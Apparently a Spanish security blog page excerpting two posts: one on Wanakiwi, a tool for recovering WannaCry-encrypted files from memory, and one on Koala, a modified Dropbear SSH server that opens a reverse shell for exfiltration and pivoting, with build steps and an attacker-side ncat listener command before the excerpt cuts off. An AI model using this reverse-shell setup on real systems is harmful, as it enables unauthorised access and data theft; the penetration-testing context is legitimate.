Madumok

Wanakiwi una herramienta capaz de descifrar los archivos cifrados por WannaCry Windows XP a 7 no reiniciados �Atenci�n, si has sido infectado por WannaCry NO REINICIES la m�quina! El famoso autor de Mimikatz, Benjamin Delpy? aka @gentilkiwi, ha publicado la herramienta Wanakiwi que es capaz de descifrar los archivos sin pagar el chantaje... Hay un fallo en la cripto-API de Windows por el que si se obtienen de la memoria los n�meros primos usados para calcular la clave privada esta puede volver a calcularse. Por eso es tan importante no apagar el equipo infectado, para no perder los datos de la memoria. En principio el fallo parec�a que estaba s�lo en Windows XP, pero al parecer afecta a Windows 7 tambi�n: " Despu�s de realizar pruebas adicionales con Benjamin, nos dimos cuenta de que el leak de los n�meros primos en el Crypt API de Microsoft todav�a estaba presente en Windows 7. o/ " Esto significa por lo tanto que la herramienta funcionar� desde XP a 7, incluyendo Windows 2...

Koala un servidor Dropbear modificado para obtener una shell inversa por SSH Koala es una versi�n "parcheada" del servidor SSH Dropbear que, en lugar de abrir un puerto y dejarlo a la escucha, lo que hace es abrir una shell inversa conect�ndose a un cliente remoto. Esto es muy �til para conseguir una terminal pty en una m�quina comprometida y tambi�n para la exfiltraci�n segura de datos a trav�s de un reenv�o de puertos SSH (port forwarding SSH). Tambi�n se puede pivotar mediante el port forwading din�mico por SSH. Instalaci�n : git clone https://github.com/mrschyte/pentestkoala.git cd pentesterkoala ./configure vi options.h (configurar las opciones deseadas) make PROGRAMS="dropbear dbclient dropbearkey dropbearconvert scp" make PROGRAMS="dropbear dbclient dropbearkey dropbearconvert scp" install Uso (paso a paso) 1.- ATACANTE # ncat -lvp 5000 --sh-exec ncat -lvp 9999 Ncat: Version 7.12 ( https://nmap.org/ncat ) Ncat: Listening on :::5000 Ncat: Listening o...